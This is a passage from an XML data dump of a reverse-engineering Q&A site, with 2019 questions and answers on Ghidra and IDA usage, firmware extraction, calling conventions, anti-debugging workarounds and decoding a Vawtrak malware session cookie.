href=&quot;https://stackoverflow.com/questions/2463150/what-is-the-fpie-option-for-position-independent-executables-in-gcc-and-ld&quot;&gt;What is the -fPIE option for position-independent executables in gcc and ld?&#xA;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-04-26T14:46:10.200" LastActivityDate="2019-04-26T14:46:10.200" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21223" PostTypeId="2" ParentId="21218" CreationDate="2019-04-26T13:47:30.733" Score="3" Body="&lt;p&gt;I found this paper that shed some light onto what's happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blueliv.com/downloads/technical-report-vawtrak-v2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blueliv.com/downloads/technical-report-vawtrak-v2.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I took the PHPSESSIONID from your screenshot and wrote this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import binascii&#xA;&#xA;data = &quot;5C 8E C1 9E 61 66 6B 71 7F 80 8B 93 9E AA B7 C5&quot;&#xA;data = bytearray(binascii.unhexlify(data.replace(&quot; &quot;,&quot;&quot;)))&#xA;&#xA;k = data[0]&#xA;&#xA;for i in range(1,len(data)):&#xA;    data[i] ^= k&#xA;    k += i&#xA;&#xA;print(binascii.hexlify(data[1:]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which prints&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python test.py &#xA;b'd29cc1030000000700020000000000'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and makes sense. The first 4 bytes then are the RC4 key.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-04-26T13:47:30.733" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21224" PostTypeId="1" CreationDate="2019-04-26T16:51:38.170" Score="1" ViewCount="26" Body="&lt;p&gt;I've seen from &lt;a href=&quot;https://developers.google.com/web/tools/chrome-devtools/javascript/breakpoints#dom&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post about Chromium DevTools&lt;/a&gt; that there exists the possibility to add DOM breakpoints. Given that I've a full range of elements to monitor I was trying to find a way to programmatically add such breakpoints. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve a similar result I've used to instrument the &lt;code&gt;setAttribute()&lt;/code&gt; function of such DOM elements replacing it with a wrapper that uses the &lt;code&gt;debugger;&lt;/code&gt; instruction to trigger the debugger. Anyway this approach fails when dealing with innerHTML or innerText assignments given that there is no way of achieving operator overloading in js. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone suggest me a practical solution?&lt;/p&gt;&#xA;" OwnerUserId="28259" LastActivityDate="2019-04-26T16:51:38.170" Title="How to programmatically add HTML DOM breakpoints in chromium?" Tags="|javascript|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21225" PostTypeId="1" AcceptedAnswerId="22475" CreationDate="2019-04-26T21:52:37.747" Score="1" ViewCount="3478" Body="&lt;p&gt;I have some printed circuit boards of a device that is no longer manufactured. I need to repair these boards but there is no replacement for them. I can make other boards, buy the components, but I can not get the firmware, the microcontroller is a STC 89C58RD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a datasheet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.stcmcu.com/datasheet/stc/STC-AD-PDF/STC89C58RD+-english.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.stcmcu.com/datasheet/stc/STC-AD-PDF/STC89C58RD+-english.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I could see it can be programmed by serial  RS232 interface. I looked for a programmer but I just find this document in chinese(I'm not sure)  as following :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.stcmicro.com/pdf/STC-ISP-Programmer_V6.0_Manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.stcmicro.com/pdf/STC-ISP-Programmer_V6.0_Manual.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already read and study a bit about JTAG standard and the TAP controller state machine to do a similar job with a Motorola Microcontroller, but I would like to know if someone know this microcontroller STC 89C58RD or has a tip about how to perform this task. &lt;/p&gt;&#xA;" OwnerUserId="21835" LastEditorUserId="21835" LastEditDate="2019-04-27T18:56:07.600" LastActivityDate="2020-11-16T09:13:45.950" Title="How to read firmware from an STC microcontroller?" Tags="|firmware|flash|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21226" PostTypeId="1" CreationDate="2019-04-26T22:24:58.917" Score="7" ViewCount="13395" Body="&lt;p&gt;I'm working with an .exe which imports the old DirectX DLL DDRAW.DLL. The problem is, Ghidra doesn't know about it and shows all imported DDRAW functions as having no parameters. I know, I can edit functions to add the paramaters and define the missing datatypes, but I expect there's an automatic way to do it. Is there an option to simply load ddraw.h from the DirectX SDK and import all the function signatures and types?&lt;/p&gt;&#xA;" OwnerUserId="28263" LastActivityDate="2019-05-06T12:58:16.723" Title="How do I import function signatures to Ghidra?" Tags="|windows|decompilation|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21227" PostTypeId="1" CreationDate="2019-04-26T23:32:21.520" Score="2" ViewCount="378" Body="&lt;p&gt;I am trying to remote debug a certain binary which gets user-specified command line arguments, which can be non-printable of course.&lt;br&gt;&#xA;My goal is the ability to debug with IDA the process with the command line argument &quot;\x11\x22\x33\x44&quot; which can be done with gdb easily.&lt;br&gt;&#xA;The problem is that the &quot;Parameters&quot; field in IDA allows only ASCII characters to be inserted into the process' command line arguments&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jyItM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jyItM.png&quot; alt=&quot;IDA&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked thoroughly and found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/18777/ida-remote-debug-on-linux&quot;&gt;these&lt;/a&gt; &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19723/passing-input-to-program-in-remote-debugging-with-ida-pro&quot;&gt;questions&lt;/a&gt; but running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./linux_server unlink &amp;lt; file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or any other combination does not seem to feed the binary file with my input.&lt;br&gt;&#xA;Also, running StartDebugger in the IDA command line did not help (How does this function know which remote debugger to run?)&lt;/p&gt;&#xA;" OwnerUserId="16633" LastActivityDate="2024-03-01T17:01:30.190" Title="IDA remote debugging - non printable characters in parameters" Tags="|ida|linux|remote|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21228" PostTypeId="1" CreationDate="2019-04-27T08:36:33.983" Score="0" ViewCount="113" Body="&lt;p&gt;The executable grabs the specified container format and extracts .tga images from it. It was community-made to satisfy a certain niche, unfortunately I cannot get into contact with the original creator/programmer and I have no way to re-compile the .tga images to the original container. Basically I want to reverse the procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not overly familiar with SE, if this post is considered low-effort or anything, please let me know and I will edit accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Drive: &lt;a href=&quot;https://drive.google.com/drive/folders/1_mdCW5w3GS7fXgSuISOlUDumLXeKJ9TE?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/drive/folders/1_mdCW5w3GS7fXgSuISOlUDumLXeKJ9TE?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the provided link the included files are&#xA;1) the extractor&#xA;2) one of the .mda containers&#xA;3) a .bat file that is used to make the extractor run. Will be edited later on to batch extract all the containers.&lt;/p&gt;&#xA;" OwnerUserId="28267" LastEditorUserId="28267" LastEditDate="2019-04-28T10:49:42.757" LastActivityDate="2019-04-28T10:49:42.757" Title="Help reverse engineering a small (60kb) .exe file used for extracting .tga images from a custom container" Tags="|disassembly|windows|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21229" PostTypeId="2" ParentId="20938" CreationDate="2019-04-27T23:30:58.870" Score="0" Body="&lt;p&gt;This could be a bug of qemu. I had a similar issue and managed to resolve it by recompiling qemu with the patch suggested in &lt;a href=&quot;https://www.mail-archive.com/qemu-devel@nongnu.org/msg611477.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;qemu mailing list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28271" LastActivityDate="2019-04-27T23:30:58.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21230" PostTypeId="2" ParentId="20957" CreationDate="2019-04-28T03:04:39.803" Score="1" Body="&lt;p&gt;Check out the ida_kernwin module which has a function „user_cancelled()“ returning a bool. Call it within a loop in order to determine whether the script was asked to terminate, for example via ctrl-break.&lt;/p&gt;&#xA;" OwnerUserId="28273" LastActivityDate="2019-04-28T03:04:39.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21231" PostTypeId="1" CreationDate="2019-04-28T08:29:11.440" Score="4" ViewCount="221" Body="&lt;p&gt;When loading the firmware I am working with, it copies multiple regions of code/data to another write-able memory region. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normal load the code/data into the destination location and leave the source empty. But have just noticed the firmware calls some of the functions in the original/source region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I could leave all of the source data/code and load the duplicate data/code regions, but what I am wanting to avoid is duplicated reverse engineer the functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I ideally want is someway to alias/memory map the regions so there is only &quot;one&quot; version of the memory, thus one labeled data and RE functions.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2019-04-28T08:29:11.440" Title="Handling firmware with many copies of the same code/data in different address spaces" Tags="|firmware|ghidra|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21232" PostTypeId="1" AcceptedAnswerId="21432" CreationDate="2019-04-28T10:45:01.073" Score="0" ViewCount="4388" Body="&lt;p&gt;I have this piece of code generated from Ghidra&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __cdecl FUNCTION(uint *key,uint *text)&#xA;&#xA;{&#xA;  undefined uVar1;&#xA;  ushort uVar2;&#xA;  uint *puVar3;&#xA;  uint *puVar4;&#xA;  uint *puVar5;&#xA;  int iVar6;&#xA;  uint uVar7;&#xA;  uint *puVar8;&#xA;  uint uVar9;&#xA;  uint local_18c [11];&#xA;  uint *local_14;&#xA;  uint *local_10;&#xA;  uint local_c;&#xA;&#xA;  puVar3 = key;&#xA;  uVar2 = 0;&#xA;  local_10 = (uint *)key[4];&#xA;  local_14 = (uint *)key[3];&#xA;  puVar5 = local_18c;&#xA;  uVar9 = key[1];&#xA;  puVar8 = (uint *)key[2];&#xA;  uVar7 = *key;&#xA;  do {&#xA;    local_c = uVar7;&#xA;    key = puVar8;&#xA;    puVar4 = local_14;&#xA;    if (uVar2 &amp;lt; 0x10) {&#xA;      puVar5[0xe] = *text;&#xA;      uVar1 = *(undefined *)((int)puVar5 + 0x3b);&#xA;      *(undefined *)((int)puVar5 + 0x3b) = *(undefined *)(puVar5 + 0xe);&#xA;      *(undefined *)(puVar5 + 0xe) = uVar1;&#xA;      uVar1 = *(undefined *)((int)puVar5 + 0x3a);&#xA;      *(undefined *)((int)puVar5 + 0x3a) = *(undefined *)((int)puVar5 + 0x39);&#xA;      *(undefined *)((int)puVar5 + 0x39) = uVar1;&#xA;    }&#xA;    else {&#xA;      uVar7 = puVar5[0xb] ^ puVar5[6] ^ puVar5[-2] ^ *puVar5;&#xA;      puVar5[0xe] = uVar7 &amp;gt;&amp;gt; 0x1f | uVar7 * 2;&#xA;    }&#xA;    if (uVar2 &amp;lt; 0x14) {&#xA;      iVar6 = (~uVar9 &amp;amp; (uint)local_14 | (uint)key &amp;amp; uVar9) + 0x5a827999;&#xA;    }&#xA;    else {&#xA;      if (uVar2 &amp;lt; 0x28) {&#xA;        iVar6 = ((uint)local_14 ^ (uint)key ^ uVar9) + 0x6ed9eba1;&#xA;      }&#xA;      else {&#xA;        if (uVar2 &amp;lt; 0x3c) {&#xA;          iVar6 = (((uint)key | uVar9) &amp;amp; (uint)local_14 | (uint)key &amp;amp; uVar9) + 0x8f1bbcdc;&#xA;        }&#xA;        else {&#xA;          iVar6 = ((uint)local_14 ^ (uint)key ^ uVar9) + 0xca62c1d6;&#xA;        }&#xA;      }&#xA;    }&#xA;    text = text + 1;&#xA;    puVar8 = puVar5 + 0xe;&#xA;    puVar5 = puVar5 + 1;&#xA;    uVar7 = (int)local_10 + iVar6 + (local_c &amp;gt;&amp;gt; 0x1b | local_c &amp;lt;&amp;lt; 5) + *puVar8;&#xA;    puVar8 = (uint *)(uVar9 &amp;lt;&amp;lt; 0x1e | uVar9 &amp;gt;&amp;gt; 2);&#xA;    uVar2 = uVar2 + 1;&#xA;    local_10 = local_14;&#xA;    local_14 = key;&#xA;    uVar9 = local_c;&#xA;  } while (uVar2 &amp;lt; 0x50);&#xA;  *puVar3 = *puVar3 + uVar7;&#xA;  puVar3[1] = puVar3[1] + local_c;&#xA;  puVar3[2] = puVar3[2] + (int)puVar8;&#xA;  puVar3[3] = puVar3[3] + (int)key;&#xA;  puVar3[4] = puVar3[4] + (int)puVar4;&#xA;  return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to translate it in Java or C code, but i don't understand how. there are some obscure points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All variable are typed correctly, but the first uVar1 is &quot;undefined&quot;, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The operator ~ how is it implemented?&lt;/p&gt;&#xA;" OwnerUserId="25679" LastActivityDate="2019-06-06T17:13:20.057" Title="Ghidra pseudocode to Java/C" Tags="|c|decryption|java|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21233" PostTypeId="1" CreationDate="2019-04-28T12:10:11.080" Score="2" ViewCount="259" Body="&lt;p&gt;We're having issues with the WiFi connectivity on the printers that we're using on a current project. The printer connects fine, but the ports that should be opened are not opened. They work fine on the wired network.&#xA;Their support has tried to help, but so far hasn't been able to provide a solution.&#xA;I suspect that the printers run an embedded linux, and I wouldn't mind having a look at the configuration files to see if there's anything in there that's obviously broken.&#xA;I've downloaded the firmware from &lt;a href=&quot;https://printers.averydennison.com/en/home/resources/service-and-support/utilities-and-firmware/9419-printer.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://printers.averydennison.com/en/home/resources/service-and-support/utilities-and-firmware/9419-printer.html&lt;/a&gt; , but binwalk doesn't seem to find anything useful. I don't see any magic bytes or anything that would hint as to the structure of the file, and while there are recognisable strings (including the beginnings of some of the web pages from the config interface), they seem to get truncated in odd places, and with FF inserted at seemingly random intervals between characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought was that it may be a disk image that could be mounted, but I would have thought that binwalk would have identified that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I'd appreciate the answer to how to examine this firmware, I'd also like to fill in some of the gaps that I'm missing in my process, so any hints on what I should be looking for would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="28274" LastActivityDate="2019-04-28T12:10:11.080" Title="Help investigating a printer firmware image" Tags="|firmware|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21235" PostTypeId="1" CreationDate="2019-04-28T14:06:22.697" Score="7" ViewCount="1602" Body="&lt;p&gt;I want to script with python using r2pipe. Is there a way that when debugging I can break on each call function, thus I can get the parameter?  What's more, I won't jump into system library.&#xA;Or is there a way to do function trace, just in program's address space, not in system library?&lt;/p&gt;&#xA;" OwnerUserId="28276" LastActivityDate="2019-12-17T20:01:35.210" Title="function call trace with radare2 or break on all function call" Tags="|debugging|radare2|breakpoint|tracing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21236" PostTypeId="1" CreationDate="2019-04-28T17:23:55.690" Score="8" ViewCount="3117" Body="&lt;p&gt;I have been starting to use Ghidra and I find the decompiler view very useful. However, when I rename a variable, the name propagates through all uses of that register or stack pointer throughout the function. In most cases this is good, however often when the variable is stored in a register, the same register will be used to store a different variable later in the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is there a way to only rename a variable in a function below the current line? This way, later uses of said register will have the correct variable name.&lt;/p&gt;&#xA;" OwnerUserId="28279" LastActivityDate="2020-11-13T21:22:43.173" Title="Ghidra rename variable below current line" Tags="|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21237" PostTypeId="1" CreationDate="2019-04-29T02:18:29.710" Score="-1" ViewCount="1059" Body="&lt;p&gt;i'm in some serious problems when trying to debug a program with ollydbg, i patched IsDebuggerPresent but still after starting debugging with it patched it will Terminate anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps i Followed are shown in this guide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/10330147/how-do-i-bypass-isdebuggerpresent-with-ollydbg&quot;&gt;https://stackoverflow.com/questions/10330147/how-do-i-bypass-isdebuggerpresent-with-ollydbg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28275" LastActivityDate="2019-04-30T00:56:24.357" Title="Program closing even with IsDebuggerPresent Patched!" Tags="|debugging|ollydbg|anti-debugging|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21242" PostTypeId="1" CreationDate="2019-04-29T19:59:03.223" Score="4" ViewCount="1451" Body="&lt;p&gt;Sometimes I encounter pointers to the middle of a structure, and the code uses a negative offset to refer to earlier code.  This can result in assembly that looks like this, using MIPS as an example architecture:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lw -0x4($s0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In IDA Pro, I can highlight the &quot;-0x4&quot; part of that instruction and press T to open a new dialog that allows me to set a &quot;delta&quot; (the feature is described fully in detail here: &lt;a href=&quot;http://www.hexblog.com/?p=63&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hexblog.com/?p=63&lt;/a&gt;).  If I knew that $s0 pointed to the 4th byte of a structure, I could set the delta to -4 and get something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lw struct.field0+4($s0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an analogous way to operate on the middle of a structure in Ghidra?&lt;/p&gt;&#xA;" OwnerUserId="28284" LastActivityDate="2020-05-16T07:02:50.320" Title="Handling pointer to middle of struct in Ghidra" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21243" PostTypeId="2" ParentId="21237" CreationDate="2019-04-30T00:56:24.357" Score="1" Body="&lt;p&gt;If you are using OllyDbg, I suggest installing an anti-anti-analysis plug such as &lt;a href=&quot;https://github.com/x64dbg/ScyllaHide&quot; rel=&quot;nofollow noreferrer&quot;&gt;ScyllaHide&lt;/a&gt;.  For ScyllaHide, grab the latest from the releases and follow the instructions in the ScyllaHide.pdf document.  Then you can try the various techniques simply through a set of checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, if you suspect that a particular anti-analysis technique is being used but your mitigation technique is not working, then you should check for that anti-analysis technique manually.  To do this with IsDebuggerPresent, or any other API call, go to the function (in Ollydbg, ctrl-g and enter &quot;IsDebuggerPresent&quot; without the quotes) and set a breakpoint (F2 for software BP, or right-click -&gt; breakpoint -&gt; hardware) on the first instruction or any instruction before the first branch (e.g. jmp, conditional jump, call).  Sometimes the program will check for a change to certain APIs or skip over the first few instructions.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-04-30T00:56:24.357" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21244" PostTypeId="2" ParentId="21215" CreationDate="2019-04-30T01:06:51.413" Score="2" Body="&lt;p&gt;Debugging a &quot;cleaned&quot; binary is typically hard.  Many cleaning techniques will leave you with a malformed binary that is easy to &quot;read&quot; but won't execute properly.  I suggest statically analyzing the &quot;cleaned&quot; version and then using what you learn to debug the original version.&lt;/p&gt;&#xA;" OwnerUserId="26921" LastActivityDate="2019-04-30T01:06:51.413" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21250" PostTypeId="1" CreationDate="2019-04-30T23:51:46.587" Score="1" ViewCount="54" Body="&lt;p&gt;i need to get the ecx register from the function that is calling my function (__fastcall convention)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've been trying to get ecx by adding 0x8 to ebp since from my understanding ebp + 0x4 = return address and upwards from that it's stack arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's what i've been doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uintptr_t _framePointer, _framePointerOld;&#xA;__asm&#xA;{&#xA;    mov _framePointer, ebp&#xA;}&#xA;&#xA;_framePointerOld= *reinterpret_cast&amp;lt; uintptr_t* &amp;gt;( _framePointer);&#xA;&#xA;void* ecx_of_caller = *reinterpret_cast&amp;lt; void** &amp;gt;( _framePointerOld+ 0x12 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28295" LastActivityDate="2019-05-01T01:20:41.330" Title="getting ecx register from caller" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21251" PostTypeId="2" ParentId="21250" CreationDate="2019-05-01T01:20:41.330" Score="2" Body="&lt;p&gt;This makes very little sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a __factcall function the first parameter in is your ECX register just use it..&#xA;If you are trying to access the first parameter of your parent calling function, then you have zero ability from the knowledge they where __factcall function or you are/are not a __fastcall function how that value has been saved or stored..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you have their code disassembled, at which point you should be able to tell exactly what you have to read to get that value.. as long as it's not been destroyed already.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__fastcall func(int parm1){&#xA;    int local = parm1+1;&#xA;    int result = call_your_fucntion(local);&#xA;    int do_some_thing_else = parm1 + result;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this case because parm1 is used after the call it has to be saved in some fashion, where if it's not needed after your call, that register could already have been reallocated to store some other transient value.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2019-05-01T01:20:41.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21252" PostTypeId="1" AcceptedAnswerId="21280" CreationDate="2019-05-01T08:33:30.470" Score="2" ViewCount="257" Body="&lt;p&gt;I'd like to use some undocumented symbols that listed in &lt;code&gt;ProcessHacker&lt;/code&gt; project. taken from Here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpebteb.h#L241&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/processhacker/processhacker/blob/master/phnt/include/ntpebteb.h#L241&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h#L7156&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h#L7156&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't know to which dll do they belong... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In project readme page, it's said that I only need the latest windows SDK, but after compilation I get :  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity    Code    Description Project File    Line    Suppression State&#xA;&#xA;Error   LNK2019 unresolved external symbol &quot;__declspec(dllimport) struct &#xA;_TEB_ACTIVE_FRAME * __cdecl RtlGetFrame(void)&quot; (__imp_?&#xA;RtlGetFrame@@YAPEAU_TEB_ACTIVE_FRAME@@XZ) referenced in function &quot;public: static&#xA; struct _TEB_ACTIVE_FRAME * __cdecl _RTL_FRAME::get(struct &#xA;_TEB_ACTIVE_FRAME_CONTEXT const *)&quot; (?&#xA;get@_RTL_FRAME@@SAPEAU_TEB_ACTIVE_FRAME@@PEBU_TEB_ACTIVE_FRAME_CONTEXT@@@Z) &#xA;TestReentrancy  C:\projects\2.3\unit_tests\InjectionTest\Project1\main.obj  1   &#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps anybody can tell me how to adjust my project configuration to make it work ? thanks !&lt;/p&gt;&#xA;" OwnerUserId="27855" LastEditorUserId="245" LastEditDate="2019-05-05T18:33:09.963" LastActivityDate="2019-05-05T18:33:09.963" Title="Missing Symbols RtlGetFrame, RtlPushFrame, RtlPopFrame" Tags="|windows|winapi|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21253" PostTypeId="1" AcceptedAnswerId="21255" CreationDate="2019-05-01T12:32:58.657" Score="8" ViewCount="8245" Body="&lt;p&gt;There are a few places where the decompiler displays a number as a hex literal when it's much clearer as a decimal literal. How do I change this?&lt;/p&gt;&#xA;" OwnerUserId="25680" LastEditorUserId="153" LastEditDate="2020-05-01T10:04:29.707" LastActivityDate="2020-05-01T10:04:29.707" Title="How do I make a hex literal a decimal literal in Ghidra?" Tags="|ghidra|decompiler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21254" PostTypeId="1" CreationDate="2019-05-01T19:14:27.913" Score="1" ViewCount="1350" Body="&lt;p&gt;In ida File-&gt;Load file there is option Parse C header file, I want to understand that .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have the headers file that compiled with my binary I can attach and then see all the structures/function name in ida Psudocode /disassembly  ??  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is that works how Ida can links the struct/class from header to binary?&lt;/p&gt;&#xA;" OwnerUserId="27273" LastActivityDate="2019-09-29T14:02:25.433" Title="Ida - what is Parse C header file" Tags="|ida|binary-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21255" PostTypeId="2" ParentId="21253" CreationDate="2019-05-01T22:01:47.530" Score="3" Body="&lt;p&gt;Right click on the number&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Convert -&gt; Unsigned Decimal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MsVVj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MsVVj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2019-05-01T22:01:47.530" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21259" PostTypeId="1" CreationDate="2019-05-02T08:21:42.153" Score="2" ViewCount="617" Body="&lt;p&gt;I am getting started with Ghidra, and am decompiling a simple program of mine. The platform is Linux (ELF) on ARM. I found in the decompiled code things like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gTime._0_4_ = (undefined4)(time1 &amp;gt;&amp;gt; 0x20);&#xA;gTime._4_4_ = (undefined4)time1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, &lt;code&gt;gTime&lt;/code&gt; is a global and &lt;code&gt;time1&lt;/code&gt; a local. Both should be 64 bit integers (&lt;code&gt;uint64_t&lt;/code&gt;). I've alreads set the types accordingly. This code is setting the high bits of &lt;code&gt;gTime&lt;/code&gt; to the high bits of &lt;code&gt;time1&lt;/code&gt; and the same for the low bits. Is there any way I could transform this to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gTime = time1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or is there e.g. an endianness issue here? At some places, it also has the similarly redundant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uVar1 = CONCAT44(gTime, gTime._4_4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was expecting to be able to select the code and &quot;refactor&quot; it to an equivalent form. The only thing that I could find was the &quot;retype&quot; function, with works great, but not here. Any ideas how to clean up this code a bit?&lt;/p&gt;&#xA;" OwnerUserId="26526" LastActivityDate="2019-05-02T08:21:42.153" Title="Simplify two 32 bit expressions into one 64 bit expression in decompilation" Tags="|arm|ghidra|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
